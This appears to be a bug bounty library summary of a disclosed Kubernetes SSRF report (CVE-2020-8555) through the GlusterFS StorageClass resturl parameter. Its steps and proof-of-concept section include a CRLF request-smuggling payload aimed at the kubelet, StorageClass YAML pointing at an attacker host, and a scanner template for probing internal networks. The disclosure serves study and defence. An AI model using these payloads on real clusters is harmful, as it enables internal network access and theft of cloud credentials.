# Half-Blind SSRF found in kube/cloud-controller-manager can be upgraded to complete SSRF (fully crafted HTTP requests) in vendor managed k8s service.

GlusterFS StorageClass resturl parameter in kube-controller-manager allowed attacker-controlled SSRF from vendor internal network, escalated to full SSRF via CRLF smuggling and 302 redirect tricks.

- Payout: $5,000
- Severity: high
- Program: Kubernetes
- Found by (vendor credit): Brice Augras from Groupe-Asten and Christophe Hauquiert from Nokia
- Found by: reeverzax
- Disclosed: 2020-10-30
- CVE: CVE-2020-8555
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/776017
- Library page: https://bugbountylibrary.com/r/h1%3A776017
- Tags: area:cloud domain:cloud impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:go tech:kubernetes technique:chained technique:source-review vuln:crlf-injection vuln:request-smuggling vuln:ssrf

**Target:** kube-controller-manager / cloud-controller-manager StorageClass provisioning (glusterfs, scaleio, storageos)
**Root cause:** StorageClass parameters like resturl are user-controlled and passed directly to the GlusterFS Go client, which appends /volumes and issues HTTP requests from the controller-manager's internal network context without validating the destination.
**Steps:**
1. Create a StorageClass with `provisioner: kubernetes.io/glusterfs` and `resturl: "http://bzh.ovh:6666/#"` (the `#` truncates the appended `/volumes` path).
2. Create a matching Secret (kubernetes.io/glusterfs) and a PersistentVolumeClaim referencing the StorageClass.
3. Run `kubectl create -f sc-poc.yaml`; kube-controller-manager issues the HTTP request from inside the vendor VPC.
4. To convert POST to GET, set `resturl: "http://bzh.ovh/redirect.php#"` where redirect.php returns `302 Location: http://169.254.169.254`; Go net/http follows and downgrades to GET.
5. Read response via `kubectl describe pvc xxx` or `kubectl get event`.
6. For full SSRF on k8s up to v1.15.3/1.14.6/1.13.10 (Go <1.12), inject CRLF in resturl: `http://172.31.X.1:10255/healthz? HTTP/1.1\r\nConnection: keep-alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET /pods? HTTP/1.1\r\nHost: 172.31.X.1:10255\r\n\r\n` and read leaked response from kube-controller-manager logs.
7. Automate LAN scanning by templating StorageClass/PVC YAML and cycling create/delete across IP:port pairs with parallel workers.
**How found:** Researchers investigated managed k8s offerings, noticed PVC provisioning was handled inside the vendor perimeter by kube/cloud-controller-manager, then read the GlusterFS Go client source and saw `/volumes` was appended to the user-supplied resturl — leading to the `#` truncation trick to control the full URL.
**Exploitation:** Attacker with a managed k8s cluster creates a malicious StorageClass+PVC; the vendor's controller-manager provisions it from inside the internal VPC, issuing attacker-controlled HTTP requests. Using a 302 redirect from an external server, POST is downgraded to GET to reach metadata endpoints (169.254.169.254), kubelet (10255), ETCD (2379). On older clusters with controller-manager logs accessible, CRLF injection yields full crafted requests and full response bodies in logs, enabling credential theft from metadata API, RCE via stolen cloud creds, and ETCD DoS.
**Escalation:** Half-blind SSRF (POST-only, no body read) escalated to full SSRF by (1) 302 redirect to convert POST→GET and read JSON responses, and (2) CRLF/HTTP-smuggling in resturl on Go <1.12 to craft arbitrary requests and exfiltrate full responses via controller-manager logs; then pivot to metadata API credential theft and lateral movement.
**Insight:** StorageClass provisioner parameters (resturl, endpoints) are attacker-controlled URLs executed by the controller-manager inside the vendor VPC — audit every provisioner's client code for URL concatenation and use `#` to strip appended paths; combine with 302 redirects to flip POST→GET and CRLF on old Go to read responses.

## Proof of concept (copied exactly from the original report)

**StorageClass resturl CRLF HTTP smuggling payload**

```
http://172.31.X.1:10255/healthz? HTTP/1.1\r\nConnection: keep-
alive\r\nHost: 172.31.X.1:10255\r\nContent-Length: 1\r\n\r\n1\r\nGET /pods? HTTP/1.1\r\nHost: 172.31.X.1:10255\r\n\r\n
```

**GlusterFS StorageClass SSRF YAML payload**

```
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://bzh.ovh:6666/#"
clusterid: "630372ccdc720a92c681fb928f27b53f"
restauthenabled: "true"
restuser: "admin"
secretNamespace: "default"
secretName: "poc-ssrf-secret"
gidMin: "40000"
gidMax: "50000"
volumetype: "replicate:3"
---
apiVersion: v1
data:
key: bXlwYXNzd29yZA==
kind: Secret
metadata:
name: poc-ssrf-secret
namespace: default
type: kubernetes.io/glusterfs
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
```

**Scanner template StorageClass with resturl injection**

```
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: {{SC_NAME}}
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://{{URL}}#"
clusterid: "630372ccdc720a92c681fb928f27b53f"
restauthenabled: "true"
restuser: "admin"
secretNamespace: "default"
secretName: "heketi-secret"
gidMin: "40000"
gidMax: "50000"
volumetype: "replicate:3"
```

